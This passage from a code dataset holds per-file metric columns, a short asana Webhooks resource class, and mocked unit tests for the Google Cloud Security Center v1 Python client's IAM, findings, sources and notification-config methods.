| 0.113802
| 0.813717
| 0.759695
| 0.731414
| 0.717697
| 0.70127
| 0.681964
| 0
| 0.000961
| 0.112451
| 8,208
| 285
| 98
| 28.8
| 0.809609
| 0.011818
| 0
| 0.48731
| 0
| 0
| 0.280475
| 0.24216
| 0
| 0
| 0
| 0
| 0
| 1
| 0.162437
| true
| 0
| 0.025381
| 0
| 0.51269
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
6a44d96462df021a546a724ac9a219fd1561e94a
| 102
|
py
|
Python
|
asana/resources/webhooks.py
|
shubhamdipt/python-asana
|
8e05328fe8605638128be9fce449fbd34a646e01
|
[
"MIT"
] | null | null | null |
asana/resources/webhooks.py
|
shubhamdipt/python-asana
|
8e05328fe8605638128be9fce449fbd34a646e01
|
[
"MIT"
] | null | null | null |
asana/resources/webhooks.py
|
shubhamdipt/python-asana
|
8e05328fe8605638128be9fce449fbd34a646e01
|
[
"MIT"
] | null | null | null |
from .gen.webhooks import _Webhooks
class Webhooks(_Webhooks):
"""Webhooks resource"""
pass
| 14.571429
| 35
| 0.705882
| 11
| 102
| 6.363636
| 0.636364
| 0.457143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.186275
| 102
| 6
| 36
| 17
| 0.843373
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
dbecf0c9c8995e4636b70f5c8f207a23f0c2fcd6
| 44,257
|
py
|
Python
|
tests/unit/gapic/v1/test_security_center_client_v1.py
|
tdh911/python-securitycenter
|
54263c36adc26549933e0e9b1b8055b69eb81489
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/v1/test_security_center_client_v1.py
|
tdh911/python-securitycenter
|
54263c36adc26549933e0e9b1b8055b69eb81489
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/v1/test_security_center_client_v1.py
|
tdh911/python-securitycenter
|
54263c36adc26549933e0e9b1b8055b69eb81489
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Unit tests."""
import mock
import pytest
from google.rpc import status_pb2
from google.cloud import securitycenter_v1
from google.cloud.securitycenter_v1 import enums
from google.cloud.securitycenter_v1.proto import finding_pb2
from google.cloud.securitycenter_v1.proto import notification_config_pb2
from google.cloud.securitycenter_v1.proto import organization_settings_pb2
from google.cloud.securitycenter_v1.proto import run_asset_discovery_response_pb2
from google.cloud.securitycenter_v1.proto import security_marks_pb2
from google.cloud.securitycenter_v1.proto import securitycenter_service_pb2
from google.cloud.securitycenter_v1.proto import source_pb2
from google.iam.v1 import iam_policy_pb2
from google.iam.v1 import policy_pb2
from google.longrunning import operations_pb2
from google.protobuf import empty_pb2
from google.protobuf import timestamp_pb2
class MultiCallableStub(object):
"""Stub for the grpc.UnaryUnaryMultiCallable interface."""
def __init__(self, method, channel_stub):
self.method = method
self.channel_stub = channel_stub
def __call__(self, request, timeout=None, metadata=None, credentials=None):
self.channel_stub.requests.append((self.method, request))
response = None
if self.channel_stub.responses:
response = self.channel_stub.responses.pop()
if isinstance(response, Exception):
raise response
if response:
return response
class ChannelStub(object):
"""Stub for the grpc.Channel interface."""
def __init__(self, responses=[]):
self.responses = responses
self.requests = []
def unary_unary(self, method, request_serializer=None, response_deserializer=None):
return MultiCallableStub(method, self)
class CustomException(Exception):
pass
class TestSecurityCenterClient(object):
def test_get_iam_policy(self):
# Setup Expected Response
version = 351608024
etag = b"21"
expected_response = {"version": version, "etag": etag}
expected_response = policy_pb2.Policy(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
resource = "resource-341064690"
response = client.get_iam_policy(resource)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = iam_policy_pb2.GetIamPolicyRequest(resource=resource)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_get_iam_policy_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
resource = "resource-341064690"
with pytest.raises(CustomException):
client.get_iam_policy(resource)
def test_group_assets(self):
# Setup Expected Response
next_page_token = ""
total_size = 705419236
group_by_results_element = {}
group_by_results = [group_by_results_element]
expected_response = {
"next_page_token": next_page_token,
"total_size": total_size,
"group_by_results": group_by_results,
}
expected_response = securitycenter_service_pb2.GroupAssetsResponse(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
group_by = "groupBy506361367"
paged_list_response = client.group_assets(parent, group_by)
resources = list(paged_list_response)
assert len(resources) == 1
assert expected_response.group_by_results[0] == resources[0]
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.GroupAssetsRequest(
parent=parent, group_by=group_by
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_group_assets_exception(self):
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.organization_path("[ORGANIZATION]")
group_by = "groupBy506361367"
paged_list_response = client.group_assets(parent, group_by)
with pytest.raises(CustomException):
list(paged_list_response)
def test_group_findings(self):
# Setup Expected Response
next_page_token = ""
total_size = 705419236
group_by_results_element = {}
group_by_results = [group_by_results_element]
expected_response = {
"next_page_token": next_page_token,
"total_size": total_size,
"group_by_results": group_by_results,
}
expected_response = securitycenter_service_pb2.GroupFindingsResponse(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.source_path("[ORGANIZATION]", "[SOURCE]")
group_by = "groupBy506361367"
paged_list_response = client.group_findings(parent, group_by)
resources = list(paged_list_response)
assert len(resources) == 1
assert expected_response.group_by_results[0] == resources[0]
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.GroupFindingsRequest(
parent=parent, group_by=group_by
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_group_findings_exception(self):
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.source_path("[ORGANIZATION]", "[SOURCE]")
group_by = "groupBy506361367"
paged_list_response = client.group_findings(parent, group_by)
with pytest.raises(CustomException):
list(paged_list_response)
def test_test_iam_permissions(self):
# Setup Expected Response
expected_response = {}
expected_response = iam_policy_pb2.TestIamPermissionsResponse(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
resource = "resource-341064690"
permissions = []
response = client.test_iam_permissions(resource, permissions)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = iam_policy_pb2.TestIamPermissionsRequest(
resource=resource, permissions=permissions
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_test_iam_permissions_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
resource = "resource-341064690"
permissions = []
with pytest.raises(CustomException):
client.test_iam_permissions(resource, permissions)
def test_create_source(self):
# Setup Expected Response
name = "name3373707"
display_name = "displayName1615086568"
description = "description-1724546052"
expected_response = {
"name": name,
"display_name": display_name,
"description": description,
}
expected_response = source_pb2.Source(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
source = {}
response = client.create_source(parent, source)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.CreateSourceRequest(
parent=parent, source=source
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_create_source_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.organization_path("[ORGANIZATION]")
source = {}
with pytest.raises(CustomException):
client.create_source(parent, source)
def test_create_finding(self):
# Setup Expected Response
name = "name3373707"
parent_2 = "parent21175163357"
resource_name = "resourceName979421212"
category = "category50511102"
external_uri = "externalUri-1385596168"
expected_response = {
"name": name,
"parent": parent_2,
"resource_name": resource_name,
"category": category,
"external_uri": external_uri,
}
expected_response = finding_pb2.Finding(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.source_path("[ORGANIZATION]", "[SOURCE]")
finding_id = "findingId728776081"
finding = {}
response = client.create_finding(parent, finding_id, finding)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.CreateFindingRequest(
parent=parent, finding_id=finding_id, finding=finding
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_create_finding_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.source_path("[ORGANIZATION]", "[SOURCE]")
finding_id = "findingId728776081"
finding = {}
with pytest.raises(CustomException):
client.create_finding(parent, finding_id, finding)
def test_create_notification_config(self):
# Setup Expected Response
name = "name3373707"
description = "description-1724546052"
pubsub_topic = "pubsubTopic-338126829"
service_account = "serviceAccount-1948028253"
expected_response = {
"name": name,
"description": description,
"pubsub_topic": pubsub_topic,
"service_account": service_account,
}
expected_response = notification_config_pb2.NotificationConfig(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
config_id = "configId-804450504"
notification_config = {}
response = client.create_notification_config(
parent, config_id, notification_config
)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.CreateNotificationConfigRequest(
parent=parent, config_id=config_id, notification_config=notification_config
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_create_notification_config_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.organization_path("[ORGANIZATION]")
config_id = "configId-804450504"
notification_config = {}
with pytest.raises(CustomException):
client.create_notification_config(parent, config_id, notification_config)
def test_delete_notification_config(self):
channel = ChannelStub()
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
name = client.notification_config_path(
"[ORGANIZATION]", "[NOTIFICATION_CONFIG]"
)
client.delete_notification_config(name)
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.DeleteNotificationConfigRequest(
name=name
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_delete_notification_config_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
name = client.notification_config_path(
"[ORGANIZATION]", "[NOTIFICATION_CONFIG]"
)
with pytest.raises(CustomException):
client.delete_notification_config(name)
def test_get_notification_config(self):
# Setup Expected Response
name_2 = "name2-1052831874"
description = "description-1724546052"
pubsub_topic = "pubsubTopic-338126829"
service_account = "serviceAccount-1948028253"
expected_response = {
"name": name_2,
"description": description,
"pubsub_topic": pubsub_topic,
"service_account": service_account,
}
expected_response = notification_config_pb2.NotificationConfig(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
name = client.notification_config_path(
"[ORGANIZATION]", "[NOTIFICATION_CONFIG]"
)
response = client.get_notification_config(name)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.GetNotificationConfigRequest(
name=name
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_get_notification_config_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
name = client.notification_config_path(
"[ORGANIZATION]", "[NOTIFICATION_CONFIG]"
)
with pytest.raises(CustomException):
client.get_notification_config(name)
def test_get_organization_settings(self):
# Setup Expected Response
name_2 = "name2-1052831874"
enable_asset_discovery = False
expected_response = {
"name": name_2,
"enable_asset_discovery": enable_asset_discovery,
}
expected_response = organization_settings_pb2.OrganizationSettings(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
name = client.organization_settings_path("[ORGANIZATION]")
response = client.get_organization_settings(name)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.GetOrganizationSettingsRequest(
name=name
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_get_organization_settings_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
name = client.organization_settings_path("[ORGANIZATION]")
with pytest.raises(CustomException):
client.get_organization_settings(name)
def test_get_source(self):
# Setup Expected Response
name_2 = "name2-1052831874"
display_name = "displayName1615086568"
description = "description-1724546052"
expected_response = {
"name": name_2,
"display_name": display_name,
"description": description,
}
expected_response = source_pb2.Source(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
name = client.source_path("[ORGANIZATION]", "[SOURCE]")
response = client.get_source(name)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.GetSourceRequest(name=name)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_get_source_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
name = client.source_path("[ORGANIZATION]", "[SOURCE]")
with pytest.raises(CustomException):
client.get_source(name)
def test_list_assets(self):
# Setup Expected Response
next_page_token = ""
total_size = 705419236
list_assets_results_element = {}
list_assets_results = [list_assets_results_element]
expected_response = {
"next_page_token": next_page_token,
"total_size": total_size,
"list_assets_results": list_assets_results,
}
expected_response = securitycenter_service_pb2.ListAssetsResponse(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
paged_list_response = client.list_assets(parent)
resources = list(paged_list_response)
assert len(resources) == 1
assert expected_response.list_assets_results[0] == resources[0]
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.ListAssetsRequest(parent=parent)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_list_assets_exception(self):
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.organization_path("[ORGANIZATION]")
paged_list_response = client.list_assets(parent)
with pytest.raises(CustomException):
list(paged_list_response)
def test_list_findings(self):
# Setup Expected Response
next_page_token = ""
total_size = 705419236
list_findings_results_element = {}
list_findings_results = [list_findings_results_element]
expected_response = {
"next_page_token": next_page_token,
"total_size": total_size,
"list_findings_results": list_findings_results,
}
expected_response = securitycenter_service_pb2.ListFindingsResponse(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.source_path("[ORGANIZATION]", "[SOURCE]")
paged_list_response = client.list_findings(parent)
resources = list(paged_list_response)
assert len(resources) == 1
assert expected_response.list_findings_results[0] == resources[0]
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.ListFindingsRequest(parent=parent)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_list_findings_exception(self):
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.source_path("[ORGANIZATION]", "[SOURCE]")
paged_list_response = client.list_findings(parent)
with pytest.raises(CustomException):
list(paged_list_response)
def test_list_notification_configs(self):
# Setup Expected Response
next_page_token = ""
notification_configs_element = {}
notification_configs = [notification_configs_element]
expected_response = {
"next_page_token": next_page_token,
"notification_configs": notification_configs,
}
expected_response = securitycenter_service_pb2.ListNotificationConfigsResponse(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
paged_list_response = client.list_notification_configs(parent)
resources = list(paged_list_response)
assert len(resources) == 1
assert expected_response.notification_configs[0] == resources[0]
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.ListNotificationConfigsRequest(
parent=parent
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_list_notification_configs_exception(self):
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.organization_path("[ORGANIZATION]")
paged_list_response = client.list_notification_configs(parent)
with pytest.raises(CustomException):
list(paged_list_response)
def test_list_sources(self):
# Setup Expected Response
next_page_token = ""
sources_element = {}
sources = [sources_element]
expected_response = {"next_page_token": next_page_token, "sources": sources}
expected_response = securitycenter_service_pb2.ListSourcesResponse(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
paged_list_response = client.list_sources(parent)
resources = list(paged_list_response)
assert len(resources) == 1
assert expected_response.sources[0] == resources[0]
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.ListSourcesRequest(parent=parent)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_list_sources_exception(self):
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
parent = client.organization_path("[ORGANIZATION]")
paged_list_response = client.list_sources(parent)
with pytest.raises(CustomException):
list(paged_list_response)
def test_run_asset_discovery(self):
# Setup Expected Response
expected_response = {}
expected_response = run_asset_discovery_response_pb2.RunAssetDiscoveryResponse(
**expected_response
)
operation = operations_pb2.Operation(
name="operations/test_run_asset_discovery", done=True
)
operation.response.Pack(expected_response)
# Mock the API response
channel = ChannelStub(responses=[operation])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
response = client.run_asset_discovery(parent)
result = response.result()
assert expected_response == result
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.RunAssetDiscoveryRequest(
parent=parent
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_run_asset_discovery_exception(self):
# Setup Response
error = status_pb2.Status()
operation = operations_pb2.Operation(
name="operations/test_run_asset_discovery_exception", done=True
)
operation.error.CopyFrom(error)
# Mock the API response
channel = ChannelStub(responses=[operation])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
parent = client.organization_path("[ORGANIZATION]")
response = client.run_asset_discovery(parent)
exception = response.exception()
assert exception.errors[0] == error
def test_set_finding_state(self):
# Setup Expected Response
name_2 = "name2-1052831874"
parent = "parent-995424086"
resource_name = "resourceName979421212"
category = "category50511102"
external_uri = "externalUri-1385596168"
expected_response = {
"name": name_2,
"parent": parent,
"resource_name": resource_name,
"category": category,
"external_uri": external_uri,
}
expected_response = finding_pb2.Finding(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
name = client.finding_path("[ORGANIZATION]", "[SOURCE]", "[FINDING]")
state = enums.Finding.State.STATE_UNSPECIFIED
start_time = {}
response = client.set_finding_state(name, state, start_time)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.SetFindingStateRequest(
name=name, state=state, start_time=start_time
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_set_finding_state_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
name = client.finding_path("[ORGANIZATION]", "[SOURCE]", "[FINDING]")
state = enums.Finding.State.STATE_UNSPECIFIED
start_time = {}
with pytest.raises(CustomException):
client.set_finding_state(name, state, start_time)
def test_set_iam_policy(self):
# Setup Expected Response
version = 351608024
etag = b"21"
expected_response = {"version": version, "etag": etag}
expected_response = policy_pb2.Policy(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
resource = "resource-341064690"
policy = {}
response = client.set_iam_policy(resource, policy)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = iam_policy_pb2.SetIamPolicyRequest(
resource=resource, policy=policy
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_set_iam_policy_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
resource = "resource-341064690"
policy = {}
with pytest.raises(CustomException):
client.set_iam_policy(resource, policy)
def test_update_finding(self):
# Setup Expected Response
name = "name3373707"
parent = "parent-995424086"
resource_name = "resourceName979421212"
category = "category50511102"
external_uri = "externalUri-1385596168"
expected_response = {
"name": name,
"parent": parent,
"resource_name": resource_name,
"category": category,
"external_uri": external_uri,
}
expected_response = finding_pb2.Finding(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
finding = {}
response = client.update_finding(finding)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.UpdateFindingRequest(
finding=finding
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_update_finding_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
finding = {}
with pytest.raises(CustomException):
client.update_finding(finding)
def test_update_notification_config(self):
# Setup Expected Response
name = "name3373707"
description = "description-1724546052"
pubsub_topic = "pubsubTopic-338126829"
service_account = "serviceAccount-1948028253"
expected_response = {
"name": name,
"description": description,
"pubsub_topic": pubsub_topic,
"service_account": service_account,
}
expected_response = notification_config_pb2.NotificationConfig(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
notification_config = {}
response = client.update_notification_config(notification_config)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.UpdateNotificationConfigRequest(
notification_config=notification_config
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_update_notification_config_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
notification_config = {}
with pytest.raises(CustomException):
client.update_notification_config(notification_config)
def test_update_organization_settings(self):
# Setup Expected Response
name = "name3373707"
enable_asset_discovery = False
expected_response = {
"name": name,
"enable_asset_discovery": enable_asset_discovery,
}
expected_response = organization_settings_pb2.OrganizationSettings(
**expected_response
)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
organization_settings = {}
response = client.update_organization_settings(organization_settings)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.UpdateOrganizationSettingsRequest(
organization_settings=organization_settings
)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_update_organization_settings_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
organization_settings = {}
with pytest.raises(CustomException):
client.update_organization_settings(organization_settings)
def test_update_source(self):
# Setup Expected Response
name = "name3373707"
display_name = "displayName1615086568"
description = "description-1724546052"
expected_response = {
"name": name,
"display_name": display_name,
"description": description,
}
expected_response = source_pb2.Source(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
source = {}
response = client.update_source(source)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.UpdateSourceRequest(source=source)
actual_request = channel.requests[0][1]
assert expected_request == actual_request
def test_update_source_exception(self):
# Mock the API response
channel = ChannelStub(responses=[CustomException()])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup request
source = {}
with pytest.raises(CustomException):
client.update_source(source)
def test_update_security_marks(self):
# Setup Expected Response
name = "name3373707"
expected_response = {"name": name}
expected_response = security_marks_pb2.SecurityMarks(**expected_response)
# Mock the API response
channel = ChannelStub(responses=[expected_response])
patch = mock.patch("google.api_core.grpc_helpers.create_channel")
with patch as create_channel:
create_channel.return_value = channel
client = securitycenter_v1.SecurityCenterClient()
# Setup Request
security_marks = {}
response = client.update_security_marks(security_marks)
assert expected_response == response
assert len(channel.requests) == 1
expected_request = securitycenter_service_pb2.UpdateSecurityMarksRequest(
security_marks=security_marks
)
